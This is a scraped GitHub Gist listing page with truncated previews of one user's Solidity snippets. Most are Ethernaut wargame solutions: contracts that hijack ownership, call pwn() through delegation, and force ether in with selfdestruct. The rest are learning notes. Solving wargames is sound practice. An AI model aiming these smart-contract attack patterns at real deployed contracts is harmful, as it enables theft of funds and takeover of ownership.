Skip to content

Instantly share code, notes, and snippets.

@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / SimpleStorage.sol
Created May 18, 2022 00:35
Simple storage contract - TPG genesis cohort w4
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
//title Set and get a state variable
contract SimpleStorage is Ownable {
uint16 public monthlyFee;
//dev Set the monthlyFee value restricted to the owner
function setMonthlyFee(uint16 _monthlyFee) onlyOwner public {
pragma solidity ^0.8.6;
library Address {
function isContract(address account) internal view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / FlipHack.sol
Created June 24, 2022 16:58
Level 3 - Coin Flip - Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol';
// Create an interface to call the target
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / TelephoneHack.sol
Last active June 24, 2022 18:50
Level 4 - Telephone - Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract TelephoneHack {
function telephoneHack() public {
bytes memory changeLoad = abi.encodeWithSignature("changeOwner(address)", 0xF2FF428414A3C798f3e59A101C0f659641Edcc29);
// Change to your instance address
(bool success,) = 0xdCA7693Be5F569A966Ad33F7A14C85414404cB6d.call(changeLoad);
require(success);
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / DelegationHack.sol
Created June 25, 2022 19:08
Level 6 - Delegation - Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract DelegationHack {
function delegationHack() public pure returns (bytes memory) {
bytes memory functionID = abi.encodeWithSignature("pwn()");
return functionID;
}
}
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / KingHack.sol
Created June 27, 2022 04:04
Level 9 - King - Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract KingHack {
function kingHack(address payable _to) public payable {
(bool sent, ) = _to.call.value(msg.value)("");
require(sent, "Failed to send value!");
}
function seedEth() public payable {
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / ForceHack.sol
Created July 31, 2022 05:34
Level 7 - Force - Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract ForceEth {
function forceEth() external payable {
address payable attackContract = 0xf53Eb1E507B15561661efEDe9899beDA45d051f5;
selfdestruct(attackContract);
}
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / VerifySignature.sol
Created August 14, 2022 03:33
Solidity code to sign and verify a message
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/*How to Sign and Verify a message
0. Create message to sign
1. Get message hash by calling getMessageHash()
2. Eth sign the message hash by calling getEthSignedMessageHash()
3. On the browser, unlock MetaMask account typing ethereum.enable()
4. Using browser, sign the message hash: | offchain to keep your private key secret
account = "copy paste account of signer here"
WINDOWS
Open the Windows File Explorer (or use the shortcut WIN + E)
GIT
> descartar todos tus commits en local y volver al ultimo push visible en github:
git reset --hard origin/main
> volver a un commit anterior:
git checkout b29e5d6 (el codigo del commit donde quieras ir)
const { request, gql } = require("graphql-request");
// Function to query the subgraph and retrieve 6551-accounts for the given user
async function checkAccountForUser(contract, id, chainId) {
const endpoint =
"https://api.thegraph.com/subgraphs/name/silviamargaritaocegueda/mock-wallets";
const query = gql`
query MyQuery($contract: Bytes, $id: BigInt, $chainId: BigInt) {
accounts(
where: {
and: [